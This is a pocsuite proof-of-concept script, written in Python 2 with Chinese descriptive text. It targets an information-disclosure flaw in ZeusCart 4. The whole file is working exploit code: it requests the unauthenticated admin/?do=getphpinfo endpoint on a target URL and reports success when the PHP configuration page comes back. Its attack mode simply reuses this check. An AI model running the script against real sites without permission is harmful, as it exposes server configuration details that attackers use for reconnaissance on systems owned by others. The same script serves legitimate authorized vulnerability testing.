ZeusCart 4 信息泄漏漏洞

                                                #!/usr/bin/env python
# coding: utf-8

from urlparse import urljoin
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '11111 '  # vul ID
    version = '1'
    author = ['Disorder']
    vulDate = '2015-03-10'
    createDate = '2015-09-20'
    updateDate = '2015-09-20'
    references = ['https://packetstormsecurity.com/files/130487/Zeuscart-4-Cross-Site-Scripting-SQL-Injection.html']
    name = 'ZeusCart4 Information Disclosure'
    appPowerLink = 'http://www.zeuscart.com/ '
    appName = 'ZeusCart'
    appVersion = '4'
    vulType = 'Information Disclosure'
    desc = '''
    ZeusCart不正确处理用户提交的输入，远程攻击者可以利用漏洞造成服务器信息泄露。
    '''

    # 

    def _verify(self):
        return self._verify_info() 

    def _verify_info(self):
        payload = "admin/?do=getphpinfo"
        res = req.get(urljoin(self.url, payload), timeout=5)
        return self.parse_verify(res, payload, 'info')

    
    def parse_verify(self, res, payload, type):
        output = Output(self)
        result = {}

        if type == 'info' and 'PHP Version ' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = urljoin(self.url, payload)
            output.success(result)


        else:
            output.fail('Internet Nothing returned')

        return output

    def _attack(self):
        #payload = ""
        return self._verify()


register(TestPOC)